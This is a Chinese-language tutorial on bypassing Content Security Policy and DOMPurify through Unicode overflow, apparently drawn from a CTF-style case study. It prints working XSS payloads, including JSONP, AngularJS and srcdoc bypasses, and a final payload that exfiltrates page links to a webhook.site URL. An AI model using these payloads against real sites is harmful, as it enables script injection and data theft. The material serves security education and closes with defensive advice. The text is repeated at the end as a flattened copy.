XSS防御-揭秘Unicode溢出与CSP Bypass
字数 1354 2025-08-29 08:30:12

Unicode溢出与CSP Bypass技术详解

0x00 前言

内容安全策略(CSP)是一种重要的网页安全机制,用于定义网页可以加载和执行哪些资源。本文将从CSP基础开始,深入探讨Unicode溢出原理及其在XSS防御绕过中的应用,最后结合实战案例展示如何利用这些技术绕过现代Web安全防护。

0x01 CSP基础与Bypass技术

CSP指令详解

  1. script-src: 指定允许的JavaScript源
  2. default-src: 默认资源获取策略
  3. child-src: 指定子资源使用策略
  4. frame-src: 限制可作为框架调用的URL
  5. frame-ancestors: 指定页面可被嵌入的源
  6. img-src: 定义图像加载源
  7. object-src: 定义对象、嵌入和小部件的允许源
  8. base-uri: 定义元素允许加载的URL
  9. sandbox: 创建资源沙盒环境

CSP指定值

  • *: 允许除data:、blob:、filesystem:外的任何URL
  • none: 禁止加载任何源
  • self: 仅允许同源资源
  • data: 允许数据URI方案
  • unsafe-eval: 允许eval()等动态代码执行
  • unsafe-hashes: 启用特定内联事件处理程序
  • unsafe-inline: 允许内联资源
  • nonce: 基于随机数的内联脚本白名单
  • sha256-<hash>: 基于哈希值的脚本白名单

常见CSP绕过技术

1. JSONP滥用

当CSP允许特定外部域时:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' https://www.google.com https://accounts.google.com;">

可利用回调接口绕过:

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(/xss/)"></script>

2. object-src/default-src缺失利用

当缺少这些限制时,可利用Flash对象攻击(已过时):

<object type="application/x-shockwave-flash" data='https://ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(/xss/)}//'>
  <param name="AllowScriptAccess" value="always">
</object>

3. AngularJS利用

当CSP允许AngularJS时:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div data-ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(/xss/);//');}}</div>

4. iframe绕过

利用srcdoc属性:

<iframe srcdoc='<script src="data:text/javascript,alert(/xss/)"></script>'></iframe>

0x02 Unicode溢出原理

Unicode溢出发生在服务器尝试将Unicode字符存储在单字节中。由于字节最大值为255,构造特定Unicode字符可导致溢出生成目标ASCII字符。

Unicode溢出示例

const content = Buffer.from("57C8","base64").toString("ascii")
console.log(content)  // 输出"<"字符

JavaScript中的fromCharCode()也存在类似溢出问题,仅支持0-0xFFFF范围,输入更大值会导致溢出。

Unicode溢出字符查询

专业查询工具:Shazzer Unicode Table

示例溢出字符对:

  • 氼氼<
  • >

0x03 实战案例解析

漏洞场景

  1. /create端点:使用DOMPurify过滤XSS
  2. /note端点:使用ASCII处理字符串,存在Unicode溢出漏洞

攻击步骤

  1. 构造基本XSS Payload
氼氼script src="https://www.example.com"夾alert(1);//氼氼/script 夾
  1. 绕过CSP限制

利用/redirect接口和AngularJS组件:

氼氼script src="http://localhost:3000/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js" 夾  //氼氼/script 夾
<div data-ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
  1. 完整攻击Payload
氼氼script src="http://localhost:3000/redirect?url=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js" 夾  //氼氼/script 夾
<div data-ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };
    fetch(`http://localhost:3000/`).then(res=>res.text()).then(data=>{ 
    const parser = new DOMParser();
    const doc = parser.parseFromString(data, "text/html");
    const links = Array.from(doc.querySelectorAll("a")).map(a => a.href);
    const encodedLinks = btoa(unescape(encodeURIComponent(JSON.stringify(links))));
    return fetch("https://webhook.site/5b154691-3fdb-46b8-980b-735e19b081f2?ans=" + encodedLinks, { 
        method: "GET", 
        mode: "no-cors"
    })});//');}}</div>

防御建议

  1. 统一字符编码处理,避免混合编码
  2. 严格限制重定向功能
  3. 谨慎评估第三方库风险
  4. 实施完整的CSP策略,避免关键指令缺失
  5. 定期更新XSS过滤库

参考资源

  1. Unicode Overflow Research
  2. CSP Specification
  3. CSP Bypass Techniques
  4. CSP Evaluator
  5. Web Hacking Techniques
Unicode溢出与CSP Bypass技术详解 0x00 前言 内容安全策略(CSP)是一种重要的网页安全机制,用于定义网页可以加载和执行哪些资源。本文将从CSP基础开始,深入探讨Unicode溢出原理及其在XSS防御绕过中的应用,最后结合实战案例展示如何利用这些技术绕过现代Web安全防护。 0x01 CSP基础与Bypass技术 CSP指令详解 script-src : 指定允许的JavaScript源 default-src : 默认资源获取策略 child-src : 指定子资源使用策略 frame-src : 限制可作为框架调用的URL frame-ancestors : 指定页面可被嵌入的源 img-src : 定义图像加载源 object-src : 定义对象、嵌入和小部件的允许源 base-uri : 定义元素允许加载的URL sandbox : 创建资源沙盒环境 CSP指定值 * : 允许除data:、blob:、filesystem:外的任何URL none : 禁止加载任何源 self : 仅允许同源资源 data : 允许数据URI方案 unsafe-eval : 允许eval()等动态代码执行 unsafe-hashes : 启用特定内联事件处理程序 unsafe-inline : 允许内联资源 nonce : 基于随机数的内联脚本白名单 sha256-<hash> : 基于哈希值的脚本白名单 常见CSP绕过技术 1. JSONP滥用 当CSP允许特定外部域时: 可利用回调接口绕过: 2. object-src/default-src缺失利用 当缺少这些限制时,可利用Flash对象攻击(已过时): 3. AngularJS利用 当CSP允许AngularJS时: 4. iframe绕过 利用srcdoc属性: 0x02 Unicode溢出原理 Unicode溢出发生在服务器尝试将Unicode字符存储在单字节中。由于字节最大值为255,构造特定Unicode字符可导致溢出生成目标ASCII字符。 Unicode溢出示例 JavaScript中的 fromCharCode() 也存在类似溢出问题,仅支持0-0xFFFF范围,输入更大值会导致溢出。 Unicode溢出字符查询 专业查询工具: Shazzer Unicode Table 示例溢出字符对: 氼氼 → < 夾 → > 0x03 实战案例解析 漏洞场景 /create 端点:使用DOMPurify过滤XSS /note 端点:使用ASCII处理字符串,存在Unicode溢出漏洞 攻击步骤 构造基本XSS Payload 绕过CSP限制 利用 /redirect 接口和AngularJS组件: 完整攻击Payload 防御建议 统一字符编码处理,避免混合编码 严格限制重定向功能 谨慎评估第三方库风险 实施完整的CSP策略,避免关键指令缺失 定期更新XSS过滤库 参考资源 Unicode Overflow Research CSP Specification CSP Bypass Techniques CSP Evaluator Web Hacking Techniques